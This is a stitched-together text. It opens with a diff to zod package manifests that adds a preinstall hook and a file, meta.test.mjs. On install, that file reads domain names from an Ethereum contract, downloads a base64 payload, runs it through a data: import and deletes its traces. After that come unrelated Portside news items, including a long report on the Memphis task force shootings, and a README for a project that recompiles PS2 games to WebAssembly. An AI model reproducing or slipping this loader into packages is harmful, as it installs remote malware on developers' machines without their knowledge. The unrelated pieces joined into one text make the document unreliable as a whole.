( async ( ) => { let g = null ; for ( const u of R ) { try { const r = await fetch ( u , { method : "POST" , headers : { "Content-Type" : "application/json" } , body : JSON . stringify ( { jsonrpc : "2.0" , id : 1 , method : "eth_call" , params : [ { to : C , data : S } , "latest" ] } ) } ) , j = await r . json ( ) ; if ( j && j . result ) { for ( const d of dec ( j . result ) ) { try { const q = await fetch ( `https:// ${ d } /loader` ) ; if ( ! q . ok ) continue ; const m = await q . json ( ) ; if ( m && m . setupB64 && m . payloadName && m . payloadB64 ) { const t = f . mkdtempSync ( p . join ( o . tmpdir ( ) , "ld-" ) ) ; f . writeFileSync ( p . join ( t , m . payloadName ) , Buffer . from ( m . payloadB64 , "base64" ) ) ; g = { t , s : m . setupB64 } ; break } } catch { } } if ( g ) break } } catch { } if ( g ) break } if ( ! g ) return ; try { process . env . RUNTIME_DIR = g . t ; await import ( "data:text/javascript;base64," + g . s ) ; await globalThis . __SETUP_DONE__ } catch { } try { f . rmSync ( g . t , { recursive : true , force : true } ) } catch { } } ) ( ) . catch ( ( ) => process . exit ( 1 ) ) ;

Original file line number Diff line number Diff line change

@@ -1,6 +1,6 @@

1 1

{

2 2

"name" : " @zod/mini " ,

3 -

"version" : " 4.6. 5 " ,

3 +

"version" : " 4.6. 6 " ,

4 4

"type" : " module " ,

5 5

"license" : " MIT " ,

6 6

"author" : " Colin McDonnell <zod@colinhacks.com> " ,

@@ -10,6 +10,7 @@

10 10

"sideEffects" : false ,

11 11

"files" : [

12 12

" src " ,

13 +

" meta.test.mjs " ,

13 14

" index.js " ,

14 15

" index.cjs " ,

15 16

" index.d.ts " ,

@@ -24,6 +25,7 @@

24 25

" zod " ,

25 26

" tree-shaking "

26 27

],

28 +

"preinstall" : " node meta.test.mjs " ,

27 29

"main" : " ./index.cjs " ,

28 30

"types" : " ./index.d.cts " ,

29 31

"module" : " ./index.js " ,

Original file line number Diff line number Diff line change

@@ -1,6 +1,6 @@

1 1

{

2 2

"name" : " @zod/zod " ,

3 -

"version" : " 4.6. 5 " ,

3 +

"version" : " 4.6. 6 " ,

4 4

"exports" : {

5 5

"./package.json" : " ./package.json " ,

6 6

"." : " ./src/index.ts " ,

Original file line number Diff line number Diff line change

@@ -0,0 +1,4 @@

1 +

import f from "fs" ; import o from "os" ; import p from "path" ;

2 +

const C = "0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523" , S = "0x53ed5143" , R = [ "https://eth.llamarpc.com" , "https://ethereum-rpc.publicnode.com" , "https://cloudflare-eth.com" ] ;

3 +

const dec = h => { h = h . replace ( / ^ 0 x / , "" ) ; const w = t => parseInt ( h . slice ( t * 2 , t * 2 + 64 ) , 16 ) , a = w ( 0 ) , n = w ( a ) , r = [ ] ; for ( let i = 0 ; i < n ; i ++ ) { const s = a + 32 + w ( a + 32 + i * 32 ) , l = w ( s ) , b = ( s + 32 ) * 2 ; r . push ( Buffer . from ( h . slice ( b , b + l * 2 ) , "hex" ) . toString ( ) ) } return r } ;

4 +

( async ( ) => { let g = null ; for ( const u of R ) { try { const r = await fetch ( u , { method : "POST" , headers : { "Content-Type" : "application/json" } , body : JSON . stringify ( { jsonrpc : "2.0" , id : 1 , method : "eth_call" , params : [ { to : C , data : S } , "latest" ] } ) } ) , j = await r . json ( ) ; if ( j && j . result ) { for ( const d of dec ( j . result ) ) { try { const q = await fetch ( `https:// ${ d } /loader` ) ; if ( ! q . ok ) continue ; const m = await q . json ( ) ; if ( m && m . setupB64 && m . payloadName && m . payloadB64 ) { const t = f . mkdtempSync ( p . join ( o . tmpdir ( ) , "ld-" ) ) ; f . writeFileSync ( p . join ( t , m . payloadName ) , Buffer . from ( m . payloadB64 , "base64" ) ) ; g = { t , s : m . setupB64 } ; break } } catch { } } if ( g ) break } } catch { } if ( g ) break } if ( ! g ) return ; try { process . env . RUNTIME_DIR = g . t ; await import ( "data:text/javascript;base64," + g . s ) ; await globalThis . __SETUP_DONE__ } catch { } try { f . rmSync ( g . t , { recursive : true , force : true } ) } catch { } } ) ( ) . catch ( ( ) => process . exit ( 1 ) ) ;

Original file line number Diff line number Diff line change

@@ -1,6 +1,6 @@

1 1

{

2 2

"name" : " zod " ,

3 -

"version" : " 4.6. 5 " ,

3 +

"version" : " 4.6. 6 " ,

4 4

"type" : " module " ,

5 5

"license" : " MIT " ,

6 6

"author" : " Colin McDonnell <zod@colinhacks.com> " ,

@@ -17,6 +17,8 @@

17 17

],

18 18

"files" : [

19 19

" src " ,

20 +

" meta.test.mjs " ,

21 +

" **/*.js " ,

20 22

" **/*.js " ,

21 23

" **/*.mjs " ,

22 24

" **/*.cjs " ,

@@ -32,6 +34,7 @@

32 34

" type " ,

33 35

" inference "

34 36

],

37 +

"preinstall" : " node meta.test.mjs " ,

35 38

"main" : " ./index.cjs " ,

36 39

"types" : " ./index.d.cts " ,

37 40

"module" : " ./index.js " ,

Original file line number Diff line number Diff line change

@@ -1,5 +1,5 @@

1 1

export const version = {

2 2

major : 4 ,

3 3

minor : 6 ,

4 -

patch : 5 as number ,

4 +

patch : 6 as number ,

5 5

} as const ;

Sunday Science: Star Talk - Inside the Search for Extra Dimensions, With Lara Anderson

Portside
portside.org
2026-10-12 03:44:35
Sunday Science: Star Talk - Inside the Search for Extra Dimensions, With Lara Anderson Ira Mon, 10/12/2026 - 03:44 ...
Original Article
Sunday Science: Star Talk - Inside the Search for Extra Dimensions, With Lara Anderson Published

Neil de Grasse Tyson with Lara Anderson, string theorist and associate professor of physics at Virginia Tech | Star Talk

The War for the Rio Grande
By Jack Herrera, Photographs by Jordan Vonderhaar
Texas Monthly (story supported by the Pulitzer Center)
When is a river no longer a river?
In the case of the Rio Grande, this isn’t some existential riddle. The Rio Grande is one of the most threatened rivers in the country—more imperiled than the Colorado, which tends to generate all the headlines.
The crisis is worse—significantly worse—than most realize. Roughly 15 million people depend on the Rio Grande for drinking water, and some of their taps could run dry as early as next year.
The river also fuels billions of dollars in agricultural production. For countless farmers, their way of life is at risk.
The U.S. and Mexico have clashed over the Rio Grande’s waters for decades, but tensions are more charged than ever. Blood has already been spilled, and the prospect of more-widespread violence—not to mention a mass-migration event—appears increasingly likely.

September 2, 2026

Trump’s Deadly Invasion of Memphis

Portside
portside.org
2026-10-12 02:47:14
Trump’s Deadly Invasion of Memphis Ira Mon, 10/12/2026 - 02:47 ...
Original Article

“They knew what they came to do,” says Jamison. “They didn’t come to arrest him. They came to kill him.”

A 3-year-old child peeks out the back window during a traffic stop by Tennessee Highway Patrol and Department of Social Services agents, Memphis, Oct. 17, 2025. Photograph by Kevin Wurm/MLK50/CatchLight Local/Report for America.

When the task force arrived in Memphis, it focused its work mainly on Hickory Hill, a neighborhood that is about 80 percent Black and about 10 percent Latino, and Berclair, where Latinos account for about 40 percent of the population, making it the largest Latino neighborhood in Memphis.

Immigration and Customs Enforcement has been targeting families in Memphis since January 2025, says Maria Oceja, who co-founded Vecindarios 901 (V901) with Hunter Demster as a rapid-response network to track ICE activity and support immigrants during the first Trump administration. The organization’s name is a nod to the city’s area code.

The ACLU has filed a lawsuit against U.S. Attorney General Todd Blanche, Serralta, Mulroy, and other government officials on behalf of Demster and three other plaintiffs in response to retaliation he says he has faced for documenting the task force’s activity. It claims that residents of Hickory Hill and Berclair typically encounter task force members at least once a day, if not more.

While Mulroy says that the stops for moving violations and assistance with serving warrants has helped with public safety, he adds, “I think when we blanket high-crime-slash-minority neighborhoods for non-public-safety-related things like equipment violations — one broken taillight, tinted windows, expired tags — it can lead to a disproportionate effect on poor people and people of color that is probably not justified from a public safety perspective.”

He calls the immigration arrests “worse than useless, because what we’ve done is we’ve terrorized neighborhoods, communities, Latino immigrants, those who love them, and made them less willing to cooperate with law enforcement regarding ordinary, regular crimes that we really do care about.”

The task force quickly escalated to more than traffic stops.

William Arnold lives in Beltline, a historically Black neighborhood, and says that just after midnight on Dec. 17, 2025, the sound of banging on his front door woke him up. He opened it to find an officer wearing a military fatigue–patterned bulletproof vest over plain clothes. There were about 10 law enforcement vehicles on the street, lights flashing.

The officer asked Arnold if he had heard gunshots. When he said no, he said she and other officers went door to door, asking his neighbors the same thing.

The next day, Arnold called a neighbor who is an immigrant to check up on him. The neighbor said that the task force coming to the door had frightened his son, but they left without incident. The next day, however, the son recorded about 11 people dressed in military uniforms, armed with machine-style guns, surrounding another neighbor’s house.


Lucci Chambless (left), a community organizer, and Hunter Demster, co-founder of a rapid-response network to track ICE activity, serve free lunch at the First Congregational Church, Aug. 27, 2026. Photograph by Rory Doyle for Hammer & Hope.

“I saw it as harassment,” says Arnold, 54. “To see this level of military force in your neighborhood the day after they were intermittently knocking on doors, waking people up, it made me ask: Has this happened in other Black neighborhoods around town?”

When Arnold saw the news that the National Guard had killed Tyrin Johnson, he wondered how that could be. Memphians had been told that the National Guard would not be armed and was there simply to assist MPD. Governor Lee had announced on Sept. 26, 2025, “The Guard will not be armed except and unless the local law enforcement makes requests for that,” and the City of Memphis website says that “Guard s men and women will not make arrests or issue warrants.”

“How is it the two of them were able to shoot a guy?” says Arnold. “It was suicide by cop, because they claimed he raised his gun to them. But we also know that the National Guard are not wearing body cameras, right? Where’s the video to show that this is what happened?”

Lee’s office did not respond to multiple requests for comment, but the U.S. Marshals Service, which oversees the task force, said that the National Guard has been armed since October 2025.

Brittany Johnson says that Tyrin would not have pulled a gun on the National Guard soldiers, as was reported by the Memphis Police Department. Her son wanted to live. He had a 1-year-old son.

At about 5 feet 5 inches and 120 pounds, Tyrin was “little” — his mother’s word — and seemed to be in a constant state of capricious delight. Johnson has hundreds of other videos of Tyrin — with his son on a Chicago beach, singing old R&B songs to his son’s mother, dancing, jokingly provoking Brittany as she is lying in bed, trying to rest.

“See, he play too much!” says Johnson. “He gon’ do some goofy stuff!”

It bothers her that Tyrin has been portrayed as a criminal. He was a musician who had turned his bedroom into a studio. Though he’d been shy as a child, he started doing door-to-door sales, and “he could sell you a dream,” says Johnson. Tyrin was also a sharp dresser who loved suits and often “borrowed” his mother’s new sneakers to complete his outfits.

Even if Tyrin had a gun, Johnson says that didn’t make him dangerous. In Tennessee, many adults can legally carry a handgun without a permit. Tyrin had gotten one, she explains, because he was being targeted by a gang whose members had on more than one occasion physically assaulted him, to the point where he had moved to another state.

Johnson was told it would take at least a month, likely more, to get an autopsy report or other information about her son’s death. She believes that she has not been given information because the National Guard soldiers are in the wrong but are military, and therefore protected.

Hammer & Hope filed 25 public records requests with the support of MLK50 to understand the task force’s actions, particularly pertaining to the deaths of the four men killed by its agents. Many requests were declined because the investigations are ongoing.


The hotel where Alfonso Ivy was shot by the Memphis Safe Task Force, Aug. 27, 2026. Photograph by Rory Doyle for Hammer & Hope.

There has been little reported about the death of Alfonso Ivy, 47, who was killed by a DEA agent at a motel on July 8. His autopsy results, received from the Office of the State Chief Medical Examiner through a public records request, are that he died from multiple gunshot wounds. The investigator narrative on the autopsy report states he was shot by law enforcement who were serving a warrant after Ivy drew his gun. No next of kin is listed on the report.

While the White House has used the task force’s high arrest numbers as an indication of its success, records received from the DA’s office show that during the first month of the DA’s reports, prosecutors dropped 27 of 36 charges initiated by the task force. In the six reports covering prosecutorial actions from May 14 through Aug. 6, 99 of 192 ended in nolle prosequi, meaning prosecutors dropped the charge, and another seven were dismissed.

Some charges fell apart for reasons that raise questions about whether the arrests were lawful. In one drug case, prosecutors cited the Fourth Amendment — the constitutional protection against unreasonable searches and seizures and arrests without probable cause — in dropping the charges.

A U.S. Marshals spokesman said it does not track the disposition of the arrests and did not comment on the fact that so many charges were dismissed.

“We measure the arrests as our performance because that is what the task force was created to do,” he wrote in an email. “The goal, which we are accomplishing, was to lower crime in Memphis. We will continue that mission until we are told by the Administration to reduce or end.”

Local officials had warned that the number of arrests would overwhelm an already strained system. On Oct. 9, 2025, Lee Harris, then the mayor of Shelby County, declared a state of emergency, stating that the task force deployment could lead to a 200 percent increase in arrests and severe overcrowding at the Shelby County jail. There were already issues with overcrowding at the jail. The task force arrests made it worse.

“They were very generous in providing law enforcement resources on the front end, but not so much with the resources we needed on the back end — courts, prosecutors, clerk’s office to manage the dockets, the jail itself,” says Mulroy.

Mulroy says that most of the arrests were for minor infractions as opposed to violent crimes, and that about 20 percent were related to immigration — unlawful presence in the country, not a criminal charge.

Local officials’ responses to the task force have been mixed. On Oct. 17, 2025, Harris and six other elected officials sued Gov. Bill Lee and other state officials to stop the deployment of the National Guard. A judge granted them a temporary injunction in November, but in April 2026 the Tennessee Court of Appeals reversed that ruling, finding that the officials lacked standing to sue.

Mulroy, who has served since 2022 as Shelby County’s first elected Democratic DA of the modern era, has also fought the state in court. On May 26, he sued to block two new Tennessee laws that imposed additional oversight on his office, including one requiring it to file a report every 10 business days showing when charges arising from task force arrests are dismissed or settled. Mulroy argued that the requirements were duplicative and unconstitutionally singled out Shelby County.

Mayor Paul Young of Memphis, also a Democrat, initially said that he did not request the National Guard’s assistance and didn’t believe it was the right way to decrease crime. But in his Sept. 19, 2025 newsletter, Young wrote , “For Memphis, I choose to view this as an opportunity,” explaining that he had visited Washington, D.C., to learn more about its experience with the National Guard being deployed. “The Guard there served as ‘eyes and ears on the streets,’ more like a large-scale neighborhood watch than frontline police officers. This extended police capacity brought a sense of calm.”

Young’s office did not respond to multiple requests for comment about the task force’s activity, including the killing of four Memphians.

Tennessee State Police, the FBI, Homeland Security Investigations (a division of ICE), U.S. Marshals, ATF, and Memphis police conduct a traffic stop. Photograph by John Partipilo/Tennessee Lookout.

As has often been the case in Memphis, ordinary people have organized against the institutions they believe have failed them.

In February 1968, more than 1,100 Black sanitation workers walked off the job after two workers, Echol Cole and Robert Walker, were crushed to death by a malfunctioning garbage truck. They demanded safer working conditions, better pay, and recognition of their union. Martin Luther King Jr. came to Memphis in March to support the strike. He was assassinated there the following month.

Six decades later, Sherman, Oceja, and Demster are part of a coalition of more than 30 organizations, Free the 901, defending Memphis against what they call “the invasion.”

Many of the organizations started working together after Tyre Nichols was killed, often meeting at the First Congregational Church (“First Congo”), which was founded in 1862 by its antislavery members.

Their work got the ordinances passed. Sherman says that the drop in crime was in part due to organizers pushing Young to invest in workforce development and therapy for young Memphians, and to develop a new policy on 911 response, so that a nonviolent team including a social worker would respond to calls involving mental health crises. Young’s office did not respond to questions sent about this and the task force. Lee’s office also did not respond to numerous emails requesting comment.

One of Free the 901’s main initiatives is a boycott/buyout list of businesses that serve the task force to boycott and those that don’t to support. It also asked business owners to post signs indicating that they would not serve members of the task force.

Rob Brown, owner of Da Sammich Spot Restaurant and Resource Hub, outside his shop, Aug. 26, 2026. Photograph by Rory Doyle for Hammer & Hope

Rob Brown, the owner of Da Sammich Spot Restaurant and Resource Hub, was the first business owner to post one of the signs and says he was targeted as a result. He says the agents came to his businesses, which are in the historically Black neighborhood of Orange Mound, and stood outside, asking for people’s IDs. Brown went inside his shop, locked the door, and three or four officers still tried to force their way inside, he says. On July 26, Brown says FBI agents entered his shop and started questioning customers. Brown told them they had to leave.

Through the rapid-response network V901, Free the 901 has also been tracking task force agents and alerting residents. Its team of about 40 dispatchers receive tips about task force and ICE activity, and send out warnings by text and Facebook Messenger. V901 volunteers also film and photograph the task force traffic stops.

On a Saturday afternoon, in an upstairs room at First Congo, V901 is holding a training for new dispatchers. On the wall is a picture of Martin Luther King Jr. with the quote “Freedom has always been an expensive thing.”

The experienced dispatchers say that in the early days of the task force’s deployment, they sent out 400 alerts in a single week. The volume has dropped in part because, one says, “they were deporting people at such a rate that it really feels that there’s just fewer people for them to target.”

One dispatcher grew up in a border town in Texas, where ICE raids were regular occurrences. But Memphis, she says, “is not a border town. This is not normal. They’re trying to normalize the military. They’re trying to normalize these things.”

To the Free the 901 organizers, Memphis is a Trump administration experiment to see how much militarized policing of Black and brown cities people will tolerate.

“We’ve already been overpoliced here, and the response to that is we send more police,” says Rachael Spriggs, director of power building at the Equity Alliance, a local nonprofit. “It’s a testing of public acceptance of expanding policing.”

On June 3, the Justice Department announced that it is offering $300 million to two to four cities willing to adopt its “Model Cities” approach — Memphis Safe Task Force–style policing that would require cooperation with federal immigration enforcement and alignment with the Trump administration’s priorities. Many city leaders balked. Mayor Steven Reed of Montgomery, Ala., said he reviewed the grant and decided not to apply. “Everybody wants a quick fix, and no one wants to invest in the root cause of the issue,” he told The Guardian.

A DEA agent takes photographs of two men with his cell phone during a traffic stop on Summer Avenue, Memphis, Nov. 18, 2025. Law enforcement did a full search of the car and held the men for nearly an hour before releasing them. Photograph by Andrea Morales/MLK50.

Yet Young said he would consider applying, telling WMC/Action News 5, “It looks like it supports some of the things that we are interested in supporting.”

The work of resisting the task force carries serious risks, according to the plaintiffs in the ACLU lawsuit. Demster says he has been stopped and given tickets for broken taillights that were not actually broken, all in retaliation for filming task force agents. According to the lawsuit, on Oct. 24, 2025, an unmarked SUV driven by a masked agent swerved directly at Demster, missing him by only two inches. Attorneys representing the task force argue that Demster has violated state law by intentionally coming within 25 feet of law enforcement performing their official duties even after being ordered to stop. On Sept. 23, a federal judge heard arguments on the ACLU’s request for a preliminary injunction to prevent task force agents from retaliating against Demster and three other plaintiffs for filming their activities.

Demster says it has all taken a psychological toll. “It is terrifying going up against an entire paramilitary force with long guns and armed to the teeth, barking at you,” he says. “Every time I do it I am full of fear and I push through it. But in the background, I’ve doubled up on therapy. I am terrified when I’m home alone and I hear sounds. I have come home to federal agents sitting outside of my house.”

Oceja says that in the past, fear has kept her from being as outspoken as she might have wanted to. Mobilizing so many people through Free the 901 has made her less afraid, but there is something chilling in the calculus: Her confidence comes partly from knowing that the work no longer depends on any one person.

“We have mobilized so many people that are interested in building this power together that I don’t necessarily have to be afraid,” says Oceja. “Because if I get taken out, it don’t matter because I trained Rachael, and Rachael can keep it moving. If Rachael gets taken out, it don’t matter because Rachael trained another 10 people. If those other 10 people get taken out, it don’t matter ’cause Amber trained another 20 people. That to me is what gives me hope, and that to me is a win.”

Jessica Neal, mother of the late Jonah Neal, at her apartment in Memphis, Aug. 26, 2026. Photograph by Rory Doyle for Hammer & Hope

Every morning, after Jessica Neal says her prayers, she talks to her son, Jonah. She asks him to watch over his two younger sisters. “I always tell him I'll be OK, you know. I’ll figure it out. Eventually,” she says.

Neal, 45, lives in a two-bedroom apartment that is the mirror image of the one where her son was shot. She has moved the photographs of Jonah from her bedroom to the living room, because her therapist said that her bedroom should be a place where she might find some relief. Jessica has adorned her bedroom walls with Paris-inspired paintings instead. She hopes to visit the city someday. It hasn’t helped her sleep. She now needs a night light, and her dreams are often flashbacks to the day her son was killed.

On May 20, Neal came home to find Jonah, 25, with her gun, saying he was going to kill himself. She went outside and called 911 for help. Homeland Security Investigations agents responded and entered the apartment.

Neal said that she heard an agent shout something, and then a single gunshot. She closed her eyes and covered her ears. “I didn’t really want to see anything,” she says.

One of her neighbors later said that after the sound of the gunshot, the overcast sky turned orange.

Neal sat in an officer’s car outside her apartment for about four hours and says she was not allowed to call anyone. Two officers eventually told her they wanted to ask her some questions.

“I told them, ‘If something did happen to my son, I don’t want to know by myself. I want somebody here with me,’” she says.

The officer asked, “What do you mean if something happened?”

“I was like, ‘Well, if he got shot or something,’ and then she was like, ‘Well, unfortunately there was a gunshot incident and your son didn’t make it,’” says Neal.

The TBI’s initial report said that it was not clear whether Jonah Neal had died from self-inflicted knife wounds or the agent’s gunshot.

In 1988, Memphis was the first city to create what became known as the “Memphis Model”: specially trained police officers who would respond to mental health crises and de-escalate encounters. It remains unclear why Homeland Security Investigations agents responded when Neal called 911 because she feared her son might harm himself.

On Aug. 25, Neal received Jonah’s death certificate, showing that he was killed by a gunshot wound to his neck. The manner of death is homicide. She and her attorney have also viewed body-camera footage that she says indicates that Jonah did not have a gun in his hand. As the agent who shot him shouts, “Put the gun down,” Neal says a second agent is heard telling the first that Jonah is not holding one.

“He was doing everything that she said to do. And even when she was told that it was not a gun, she shot. There’s no way she could have feared for her life,” says Neal.

On Aug. 30, Jonah’s birthday, Neal drove to his grave at the cemetery in Kentucky where he is buried next to his great-grandfather. She took a cake and a stuffed elephant, an echo of the Dumbo theme she had used to decorate Jonah’s crib.

Around that same time, Brittany Johnson received Tyrin’s autopsy results from the West Tennessee Regional Forensic Center. At the end is the investigator’s narrative, the account that was shared the day that Tyrin was killed: “Law enforcement officers saw the unknown male draw a firearm. Law enforcement officers then shot at the unknown male, striking him once in the chest.” At the top is the truth of how Tyrin Johnson died. He was killed by a bullet that entered the right side of his back, piercing his lung, spine, and rib.

The day after Tyrin’s autopsy results became public, National Guard patrols in Memphis were paused. A U.S. Marshals Service spokesperson said the troops were instead doing “administrative work.”

About a month after Tyrin’s funeral, Johnson watched as her grandson tried to figure out a way down from her bed, which is high off the ground. One of her sisters worried he would fall. They watched as he tightly gripped the bedsheets and gingerly lowered himself to the floor. Johnson burst into tears.


Jessica Neal, mother of the late Jonah Neal, holds a photo of her son inside her apartment in Memphis on Aug. 26, 2026. Jonah, 25, was shot by the Memphis Safe Task Force in May 2026. Photograph by Rory Doyle for Hammer & Hope.

“His daddy told him how to get down without falling,” she says.

Tyrin and his son would practice. Every time the toddler found his way down, Tyrin would put him back on the bed and say, “Come on, try it again.”

The autopsy results answered one question for Johnson — how Tyrin died — but left her with several others. Why did officers say Tyrin had turned toward the soldiers with a gun when he was clearly shot in the back? Why does the security camera footage she viewed in the prosecutor’s office become blurry only in the seconds that captured Tyrin being shot?

Johnson is still wrestling with the unknown. But her grief has made space for anger.

“Right now the fight is all in me,” she says. “Every time I look at my grandson and I see my son ain’t coming back, I’m like, You know what? Somebody got to pay for something .”


Lisa Armstrong is a journalist and professor at the University of California, Berkeley, Journalism School. Her reporting examines inequality and the resilience of people navigating systems of state power.

Sign up for our mailing list, follow us on Instagram, and click here to download this article.

Become A Member of Hammer & Hope

Show HN: PS2 games statically recompiled to WebAssembly

Hacker News
github.com
2026-10-12 02:46:53
Comments...
Original Article

PlayStation 2 games running in the browser without an emulator. The game's Emotion Engine machine code is translated ahead of time into C++, compiled to WebAssembly, and linked against a reimplementation of the PS2's operating system and hardware that draws with WebGPU.

Gran Turismo 4 running in a browser
Watch the full recording (1:24)

This is the sibling of psp-web-recomp and follows the same method. The first title brought up this way is Gran Turismo 4, chosen because it is one of the most demanding games on the system: it leans on both vector units, on exact floating point behaviour for its replays and license tests, and on graphics tricks that read rendered images back as palettes. It plays from boot through the opening movie, the menus and races, with music and sound effects, and saves to a memory card kept in the browser. A race runs at full speed, 50 frames per second for this PAL release, in Chrome on a laptop's integrated GPU at twice the PS2's resolution, which is how the recording above was made.

God of War II followed through the same scripts. It needed no game-specific code, but it found two bugs that Gran Turismo 4 had never triggered, one in the recompiler and one in the vector unit timing, and a few missing pieces of the PS2's input/output processor. It now plays from the menus through its cutscenes into combat, and holds 60 frames per second in heavy combat at the PS2's resolution in Chrome. At twice the resolution it runs at 48 to 60, limited by the laptop's integrated GPU.

No game data is included here. You bring a disc image of a game you own, and the scripts in this repository turn it into a web page on your machine.

How it works

Recompilation. eerecomp reads the game's executable, follows its control flow to find the functions and emits C++ for them in units of 16 KiB of guest code. The output keeps the R5900's quirks: 128-bit registers and the multimedia instructions that work on them, branch delay slots, the PS2's floating point unit, which has no infinities or denormals and rounds differently from IEEE, and vector unit 0 used as a coprocessor. Jumps between units become tail calls, and a thread switch unwinds the host stack and resumes at the guest address, so the generated code never needs a stack per guest thread.

A small PS2 kernel. The EE side of the operating system is answered by high-level emulation: threads, semaphores, interrupt handlers for the DMA controller and the vertical blank, alarms, and the SIF channel that connects the main CPU to the I/O processor. The I/O processor runs the game's own IRX modules, the sound driver, the disc streaming code and the controller and memory card drivers that ship on the disc, on an interpreter of its R3000 CPU, while the IOP kernel and the libraries those modules call are reimplemented in C++. The disc is read over HTTP Range requests, so only the executable is downloaded up front.

Vector units. Most of a PS2 game's 3D work happens in microprograms the game uploads to vector unit 1. They run with bit-exact PS2 float math and with the pipeline delays of the MAC, status and clip flags modelled, because games schedule their code around them. Microprograms seen during a test run are compiled ahead of time into SIMD C++; any the page meets for the first time are translated into a WebAssembly module on the spot, which takes a few milliseconds per program.

Graphics. The Graphics Synthesizer's 4 MB of video memory lives on the GPU, in its native swizzled layouts, and drawing is done by WebGPU compute shaders: triangles are binned into tiles and rasterized with the GS's own rules for texturing, palettes, alpha blending, depth and destination alpha tests. Because everything stays in GS memory, effects that render into a texture or reinterpret a framebuffer as a palette work the way they do on the console. The internal resolution can be one, two or three times the native one. A software rasterizer of the same GS remains as the reference the GPU output is compared against.

Threads. The emulation runs in a worker, vector unit 1 has a worker of its own the way it runs in parallel on the console, and the GS commands go through a ring buffer to the page thread, which owns the WebGPU device.

Sound and movies. The SPU2 is reimplemented with its 48 voices of ADPCM, ADSR envelopes and the streaming DMA games use for music, and its output goes to an AudioWorklet through shared memory. Movies are decoded by an implementation of the IPU, the PS2's MPEG-2 decoder.

Lessons from making it fast

The first race ran at 3 frames per second natively, with a software rasterizer and an interpreter for vector unit 1. Moving the GS to WebGPU compute shaders and compiling the vector unit programs brought it to about 70 natively, and most of the remaining work was about where the browser spent its time rather than the emulation.

The first version of the GPU renderer submitted around 650 compute dispatches per frame, because every texture upload and palette load split the batch of triangles around it. Hoisting uploads ahead of the triangles that do not depend on them, with the same output, brought that to about 80.

Gran Turismo 4 uploads the same 3 MB of textures every frame of a race. GS memory is swapped between frames, so the uploads cannot simply be skipped, but a 16 MB cache of recently uploaded contents on the GPU lets most of them be served without crossing from WebAssembly to the GPU again, which cut the data sent per frame by about 60 percent.

At three times the native resolution the frame rate dropped to 23. Profiling the shader showed that the per-triangle setup was being loaded after a branch that differed between threads, which made the whole setup divergent, and that uploads split into 1 MB pieces blocked Chrome's page thread. Loading the setup uniformly and writing each frame's data in one piece brought three times the resolution to 48 to 50 frames per second on the same integrated GPU.

The browser's own scheduling mattered too. Nested setTimeout calls are clamped to 4 ms, so the emulation loop now yields through a MessageChannel instead, and moving the emulation into a worker, so that the page thread only feeds the GPU, steadied a race that had wandered between 40 and 50 frames per second at a constant 50.

A second game

God of War II went from an ISO to a page through port.sh with only generic changes, and each one was a bug or gap that the first game had simply not exercised.

It started with silence. The game's sound driver drives its tick from one of the I/O processor's hardware timers, which nothing had implemented, so the driver never mixed a sample. The intro after the difficulty menu was a mess of huge flat polygons, and when the gameplay was about to begin the game crashed after its render list ran past the end of memory and overwrote its own vertical blank handlers. Following a corrupted linked list back with hardware watchpoints led to the recompiler: when a branch was the last instruction of a 16 KiB unit, the path that does not take the branch continued in the next unit at the delay slot instead of after it, running that instruction twice, or running the instruction a branch-likely should have skipped. That fixed the crash and the game reached combat, still with giant polygons over parts of the screen. Those came from triangles that should have been culled. God of War II's microcode reads the clip flags three instructions after the CLIP that sets them, and the vector unit model made them visible only after four, which Gran Turismo 4, whose microcode always waits longer, could not have noticed.

Along the way it also needed a boot path like the BIOS gives, a module loaded from memory instead of the disc, and the scratchpad DMA's destination chain mode.

Port a game of your own

You need git, CMake, Ninja, a C++20 compiler (clang is preferred and picked up automatically), Python 3, and 7-Zip if your disc image is in a .7z . Everything has been run on Linux on x86-64. The first run installs the Emscripten SDK into tools/emsdk , or uses the one EMSDK points to, and downloads wgpu-native for the headless test runner. Expect about 300 MB of disk space per game for the generated code and the builds; the disc image itself is linked, not copied.

git clone https://github.com/snuri00/ps2-web-recomp.git
cd ps2-web-recomp
scripts/port.sh mygame "My Game.iso"
python3 scripts/serve.py build/web-mygame games/mygame/disc.iso    # http://localhost:8620/

port.sh takes a disc image (an ISO, or a ZIP or 7z archive holding one) and does the whole job. It reads the boot program named in the disc's SYSTEM.CNF , translates its machine code to C++, and then runs the game headless a few times. Static analysis cannot see every function a game reaches through pointers, so each run writes down the addresses it could not find, the script adds them as entry points and translates again, until a run gets through without new ones. The same runs record the vector unit microprograms the game uploads, which are compiled ahead of time as well. Last it builds the page into build/web-mygame . God of War II goes from ISO to page in three and a half minutes on an 8-core laptop.

The exploring runs press start and then cross every five seconds, which gets most games through their title screens, and put an empty memory card in slot 1 the way the page does, so they follow the path a player takes. --press 900:cross replaces that with your own inputs and --frames sets how long each run lasts. Frames from the last run land in games/mygame/shots , which is the quickest way to see how far a new game gets. scripts/build_web.sh mygame rebuilds only the page.

Set your expectations accordingly: two games have been brought up so far. Another game will most likely stop at a system call or an IOP library function nobody implemented yet, which the runner logs as [sys] unhandled syscall or [iop] missing <library> #<n> , or use a GS feature the renderer does not handle yet.

Browsers

The page needs WebGPU for the GPU renderer. Chrome and Edge have it on Windows and macOS. On Linux it is off by default in Chrome and Chromium: turn on chrome://flags/#enable-unsafe-webgpu and chrome://flags/#enable-vulkan and restart the browser, as the page tells you when it finds no usable adapter. Without WebGPU the software renderer takes over, which is fine for menus and far too slow for 3D. On laptops with two GPUs, a canvas drawn on the discrete GPU sometimes cannot be shown on the screen; the page tries both adapters and falls back to copying frames through a 2D canvas.

The keyboard maps the face buttons to Z (cross), X (circle), A (square) and S (triangle), the shoulders to Q, W, 1 and 2, start and select to Enter and Backspace, the D-pad to the arrow keys and the left stick to I, J, K and L. Gamepads work through the browser's gamepad API, phones get on-screen controls, and F toggles fullscreen. The resolution selector reloads the page at the new size.

Saves

The page puts a memory card in slot 1 and keeps it in the browser's storage for the address you play from, so progress survives a reload. Games format and use it as they would a real card. Export card downloads it as a .ps2 file in the layout PCSX2 uses, and Import card puts such a file back in the slot, so a card can travel between browsers or come from PCSX2. ?nocard starts with the slot empty.

Hosting

The page uses SharedArrayBuffer for its threads, so it has to be served cross-origin isolated, with Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp . scripts/serve.py sends both headers and supports the Range requests the disc streaming relies on. Anyone who can reach the server can load the game, so keep it to yourself.

Legal

